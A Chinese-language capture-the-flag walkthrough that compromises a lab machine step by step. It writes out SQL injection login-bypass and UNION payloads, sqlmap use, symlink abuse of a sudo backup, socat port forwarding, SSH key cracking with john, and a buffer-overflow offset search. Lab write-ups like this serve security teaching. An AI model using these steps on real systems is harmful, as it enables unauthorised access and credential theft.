前言
本篇内容聚焦 CTF 实战中高频出现的渗透流程与技术要点,从基础的端口和目录扫描切入,逐步深入讲解 SQL 联合注入、NC 提权、Linux 文件备份漏洞利用、端口代理、SSH 私钥爆破及 Pwn 栈溢出攻击等核心技法。
正文
1、端口扫描与目录扫描
对靶场全端口扫描:
bash
nmap -p- 192.168.31.102
扫出一个25565端口:

对扫描出来的端口地址,利用Gobuster 暴力破解工具,扫描根目录 /下的所有.php的网页:
bash
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -u http://192.168.31.102:25565/ -x php
| 部分 | 含义 | 通俗解释 |
|---|---|---|
dir |
子命令 | 指定 Gobuster 的工作模式为「目录 / 文件扫描」(dir = directory) |
-w |
字典文件参数 | w = wordlist(字典),后面跟的是 "密码本" 路径,工具会按这个文件里的内容逐个尝试 |
/usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt |
字典文件路径 | 这是 Kali Linux 系统自带的目录名字典文件(中等规模,包含常见的网站目录名,比如 admin、api、uploads 等) |
-u |
目标 URL 参数 | u = URL,指定要扫描的目标地址 |
http://192.168.31.102:25565/ |
目标地址 | 要扫描的服务器 IP 是 192.168.31.102,端口是 25565(不是默认的 80 端口),扫描根目录 / |
-x |
文件扩展名参数 | x = extensions(扩展名),指定要尝试的文件后缀 |
php |
扩展名 | 工具会在字典里的每个名字后加 .php 尝试,比如字典里有 admin,就会试 admin.php |
要注意的是,要提前装好 seclists字典:

等待一会儿,出扫描结果:

可以看到扫出2个目录,访问http://192.168.31.102:25565/mine能看到一个登录界面:

先用brup对登录界面抓包:

2、SQL联合注入
把上图的请求包代码,写到a.txt里,用sqlmap对可能存在的注入点,进行命令注入:

| 部分 | 含义 | 通俗解释 |
|---|---|---|
-l |
从文件加载目标参数 | l = list(列表),指定从文本文件中读取待测试的目标 URL / 请求 |
a.txt |
目标列表文件 | 你本地的a.txt文件里,需要提前写好要测试的目标(比如http://192.168.31.102:25565/index.php?id=1这类带参数的 URL) |
--batch |
全自动模式 | 禁用交互式提问,所有选项都用默认值自动执行(不用手动按回车确认),适合批量扫描 / 无人值守 |
--dbs |
列出数据库名 | 核心功能参数:检测到 SQL 注入后,自动枚举目标数据库服务器上所有的数据库名称(比如 mysql、information_schema、test 等) |
发现存在注入点,在用户名输入框中编写注入语句:
sql
admin' or 1=1-- -

| 部分 | 作用 |
|---|---|
'admin' |
闭合前面的单引号,让语法合法 |
or 1=1 |
核心攻击点 :1=1 是永远成立的条件,or 表示 "或者"------ 只要满足一个条件就成立 |
-- - |
SQL 的注释符,把后面的 ' AND 密码='xxx' 全部注释掉(相当于作废) |
成功进入网站后台:

进去发现右下角有个repair模块,但是提示当前用户不是管理员权限。
回到 Kali里面,伪造一条 "admin 用户名 + 密码为1的MD5值" 的记录:
bash
echo -n '1' | md5sum
在用户名输入框里,利用 UNION 联合查询注入1,admin,密码为1的MD5值3条信息:
sql
' UNION SELECT 1,'admin','c4ca4238a0b923820dcc509a6f75849b' -- -

在密码输入框里,输入1,点击登录后,再进入repair模块,是一个新的命令执行窗口界面,就可以拿flag。

3、NC获取低级用户权限
再新的命令执行窗口界面,执行语句:

再回到kali里,就可拿到最低www-data用户权限了:

这里我在调整Bash交互界面的格式,看不懂的可以参考我写的MAZESEC-X1靶场学习笔记[1](#1):
bash
/usr/bin/script -qc /bin/bash /dev/null
stty raw -echo;fg
reset
xterm
4、Linux文件备份漏洞利用
然后看一看可执行的sudo权限操作:

创建一个 " 符号链接(软链接)"(简单说就是给 /home/xiaoyuega 这个文件 / 目录,在当前目录下创建一个名叫 aaa 的 "快捷方式",并且会输出创建的详细信息):
bash
cd /opt/minecraft_server
ln -sv /home/xiaoyuega aaa

| 部分 | 含义 | 通俗解释 |
|---|---|---|
ln |
命令主体 | Linux 系统中用于创建 "链接" 的核心命令(link 的缩写),类似 Windows 的快捷方式 |
-s |
符号链接参数 | s = symbolic(符号的),指定创建软链接(而非硬链接),这是最常用的链接类型 |
-v |
详细输出参数 | v = verbose(详细的),执行命令时会输出 "创建了哪个链接指向哪个目标" 的提示,方便确认是否创建成功 |
/home/xiaoyuega |
源文件 / 目录(目标) | 你要创建快捷方式的 "原对象",可以是文件或目录,这里是绝对路径(从根目录开始的完整路径) |
aaa |
链接文件名(快捷方式) | 要创建的软链接名称,保存在当前工作目录 下(这里是 /opt/minecraft_server/) |
PS:执行场景与效果
- 当前环境背景?
执行用户:www-data(Web 服务的默认用户,常见于 Apache/Nginx)
当前目录:/opt/minecraft_server/(我的世界服务器目录)
操作目标:给/home/xiaoyuega这个路径创建名为 aaa 的软链接 - 执行后会发生什么?
在/opt/minecraft_server/目录下,会生成一个名为aaa的软链接文件;
访问/opt/minecraft_server/aaa就等同于访问/home/xiaoyuega(比如ls aaa就是看/home/xiaoyuega里的内容);
因为加了-v参数,终端会输出类似这样的提示:'aaa' -> '/home/xiaoyuega'(告诉你链接创建成功,以及指向关系)。 - 软链接的核心特点(为什么要用?)
跨目录便捷访问:不用每次输入长长的/home/xiaoyuega路径,直接输aaa就行;
不占额外空间:软链接只是一个 "指向标记",不是复制文件 / 目录,占用磁盘空间可以忽略;
修改源路径不影响链接:如果 /home/xiaoyuega 里的内容变了,访问 aaa 看到的内容也会同步变。 - 补充说明(新手易踩坑)
如果 /home/xiaoyuega 不存在,命令会报错(提示 "没有那个文件或目录");
如果当前目录已有名为 aaa 的文件 / 目录,命令会报错(需先删除旧的 aaa,或加 -f 参数强制覆盖); - 软链接和硬链接的区别?
-s 是软链接(常用),不加 -s 是硬链接(极少用,只能链接文件,不能跨分区)。
最后sudo执行备份操作,拿到flag:

5、端口代理
检查一下开放的端口:
bash
ss -lntup
想办法把靶场22本地端口代理出去,让攻击机kali能够访问到靶机。在kali上配置:
bash
tldr socat

然后在靶机里输入:
bash
cd /tmp
socat TCP-LISTEN:2222,fork TCP4:127.0.0.1:22 &
通过 ss -lntup监控端口转发情况:

6、SSH私钥爆破
尝试读取.ssh目录下的id_rsa文件,另存为id1,然后想办法破解id1这个文件,
bash
cd - #返回前一个目录
ls
cat id_rsa #全复制出来,粘贴到id1里
ssh2john id1 > tmp #格式转换一下,重命名未tmp

这里我用大字典对tmp文件(用 ssh2john 转换后的哈希文件,破解用)爆破,推荐替换字典(任选其一):
bash
# 方案1-1:最常用的弱密码字典(小而快,覆盖90%弱密码)
john tmp --wordlist=/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-100000.txt
# 方案1-2:综合型密码字典(中等规模,破解成功率更高)
john tmp --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt.tar.gz
# 方案1-3:Clarkson大学整理的密码字典(和xato-net同级别)
john tmp --wordlist=/usr/share/seclists/Passwords/clarkson-university-82.txt
拿到密钥信息:fish ,通过命令:
bash
ssh xiaoyuega@192.168.31.102 -i id1 -p 2222
登录成功:

7、Pwn攻击
里面有个tmp文件,把id1导入到mobaxterm上,远程登录下载下来:

F5反编译一下,读下代码逻辑:

鼠标双击进入__int64 process_command()函数,发现flag产生逻辑:

那就尝试栈溢出攻击,生成一串长度为 300 的、唯一且可回溯的字符模式(pattern),用于在 Pwn / 漏洞调试中精准计算栈溢出的偏移量:
bash
msf-pattern_create -l 300


计算出栈溢出是72,要偏移到地址401433上,对应就是hahaha函数。
编写payload就完事了:
